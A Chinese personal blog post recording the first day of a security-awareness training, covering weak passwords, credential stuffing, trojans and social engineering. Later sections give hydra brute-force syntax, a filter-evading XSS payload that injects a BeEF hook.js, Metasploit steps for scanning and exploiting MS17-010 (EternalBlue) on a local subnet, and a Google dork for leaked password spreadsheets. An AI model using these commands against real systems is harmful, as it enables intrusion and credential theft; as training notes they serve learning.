安全培训-信息安全意识
标签:Security

由于我主要是写后端的,对于安全这边,主要大一、大二接触了一点,后面接触的比较少,但其实做后端的我们,应该还是要了解一点安全这边的相关知识,不能虽然功能完善、性能超强,但一会儿就被别人给黑掉了吧🤣,还有就是呢,了解一些安全相关的知识也有助于帮助我们在生活中规避不少安全隐患,不仅是对自己,也可以帮助比人避免掉一些损失。

Day 1

今天是第一天,由于我从学校过来,离市区比较远,最开始还是挺担心会迟到的,毕竟昨年就是我给迟到了,耽搁了大家,不过还好,今天没有迟到,不过我到的时候,大部分的学员都来了😂。还是跟昨年一样,我还是最小的,其他的都是一些大学的老师啊,或者是企业里面的运维相关的人员,跟他们比起来,我就是一个小菜鸟罢了,哈哈😁。

今年的开场没有昨年那么多形式了,比如自我介绍啊,公司介绍啊之类的,我猜一部分原因可能是里面有些学员(我还是叫学员吧,其实都该叫老师,不过这次我们有老师的老师,哈哈🧐)昨年参加了,互相认识,也有可能是公司的老总好像今天有事,没有来吧,但我不确定明天是否会进行自我介绍,这样我就可以有机会再认识这些来自各个学校的老师了。

说了这么多,来张图吧

胸牌

这胸牌质量贼好,哈哈,不过戴着也蛮重的,分量感十足🌝

1. 弱口令

对于弱口令,我记得比较清楚的一句话就是,弱口令不仅仅是指哪些像12345678、87654321等这些简单的密码,而是指被社工库暴露出来的密码,所以有可能你觉得你的密码设置的很复杂了,但是很有可能已经存在再社工库中,且已经被曝光了,所以最好的方式就是记得定期更换自己的密码,还有也可以采取像1password,keepass这类管理密码的软件keepass,哈哈😆

还有对于我们平时购买的一些物联网产品,如路由器,网络摄像头,尽量不要使用原厂自带的像admin这些密码,做好修改工作,因为这些产品一旦出现安全漏洞,同一系列的产品多半都是同时遭殃。这个时候往往去修改,往往已经来不及了😎

2. “忘了关门”

这个不是说的我们生活中忘了关门,而是我们在部署相关应用的时候,外网访问加了各种各样的防护产品,什么WAF、IDS等,但我们却忘了在内网做相关的防护,比如我们在交换机上设置了各样的防护,比如端口关闭等,但我们自己的服务器上却开着的,这样也是很危险的。所以我们也需要对自己的内网服务器做相关的安全检查,比如关闭不必要的端口等

3. 撞库攻击

曾经的12306泄漏过许多的用户账户和密码,而这些泄漏的数据在后面被查证是撞库攻击,简单的说撞库攻击,就是hacker拿已经泄漏的用户名和密码去试你12306上的账户和密码,有些用户很有可能12306的账户就是普通的邮箱,密码也就是自己常用的密码,或者存在某些规律的密码,这样就可能存在被碰撞成功,故后面的12306推出了各种变态的验证码,哈哈🤪

对于像12306这种的,怎么预防呢?

不要使用第三方购买,或者使用抢票软件,切记

通过第三方抢票神器去购买火车票,需先将身份证、手机号、银行卡号等信息注册到第三方平台,而这些第三方平台的数据安全性难以保障,被黑客攻击后盗走 数据,用户也很难发觉。

4. 木马、病毒传播防范

像木马,病毒这些东西,或许我们都觉得离自己很远,其实不然,他们就在你身边,像邮件附件里面捆绑着木马,QQ传递的文件里面也可能存在着木马,像普通的灰鸽子生成一些脚本,再捆绑到一些软件上,或者word上,一旦在你的电脑上打开,像灰鸽子这类远控软件,你电脑上的操作都是可以被记录的,这个时候你键盘上的所有输入都会被远程传回到主控机上,还可以随时开启你电脑的摄像头等等

这个时候你可能会说,我安装了360等不是可以检测出来的吗?错也,这个得看运气,哈哈😎

还有有得时候我们打开word文件,word会提示我们该文件还有捆绑文件,说实话,那个提示,大多数人都会直接跳过,一点不像警告(我没有截图🌝)简直就是一个普通的温馨提示而已,对于渴望其内容的我们来说,根本就不会管,哈哈。

如何防范

  1. 不要随意公开自己的工作邮件
  2. 不要随意接收并执行陌生人附件
  3. 不要随意下载网上的软件(这个对于我们来说,好像不太可能😂)
  4. 不要随意执行.vbs.bat.exe
  5. 不要随意点开链接(注意其域名)
  6. 。。。。反正小心驶得万年船

5. 社工

其实就是根据我们的人性设定一些场景来让我们上钩,比如莫名其妙的短信链接,还有一些诱惑性的文字,多提个心眼

常见的有哪些手段呢?

  1. 直接索取
  2. 假冒网站和邮件
  3. 垃圾搜寻
  4. 人物冒充

防范手段:

6. PKAV

pkav是一个验证码识别的软件,对于爆破一些含有验证码的网站,我们可以使用pkav进行普通的验证码识别,但是对于稍微有点干扰的,就没有办法识别,识别效率不高,我曾今看爬虫相关的知识的时候,里面介绍了一个网站,就是在线识别验证码的,不过其实更多的还是人工的识别

pkav

7. hydra

这也是一个跑字典的软件,我们可以用它来爆破一些像ftp,系统等的密码,

使用命令:

hydra -L 用户名字典 -P 密码字典 IP 服务名
hydra -l 用户名 -P 密码字典 IP 服务名

8. brupsuite

brup是一个Java写的软件,用于抓取流量进行字典破解,有四种模式,后面的文章会有更多的使用介绍
brupsuite

9. beef

该软件主要是利用xss漏洞,可以远程执行一下弹窗的操作,我们可以通过留言将hook.js注入到网站内部

<scr<script>ipt src="xxx/hook.js"></scr</script>ipt>

10. 永恒之蓝

我们可以通过metasploit进行实验


10.1 扫描漏洞主机

Step 1 启动msf

msfconsole

Step 2 搜寻可用漏洞

search ms17-010

得到结果

search ms17-010

可以发现可被使用的两个漏洞

Step 3 使用

use auxiliary/scanner/smb/smb_ms17_010

Step 4 查看参数

show options

Step 5 设置网段

set RHOSTS 192.168.1.100-192.168.1.200

Step 6 设置线程数

set threads 10

7 执行

run

10.2 使用永恒之蓝进行爆破

Step 1 use

use exploit/windows/smb/ms17_010_externalblue

Step 2 设置参数

show options

找到需要设置但为空的参数并设置

Step 3 设置目标主机

set rhost 192.168.1.119

Step 4 执行

exploit

Step 5 结果

11. GoogleHacking

intext:密码 filetype:xls site:edu.cn

GoogleHacking

可见上面的用户名和密码都可以通过Google搜索到

  • 10 min read

CONTRIBUTORS


  • 10 min read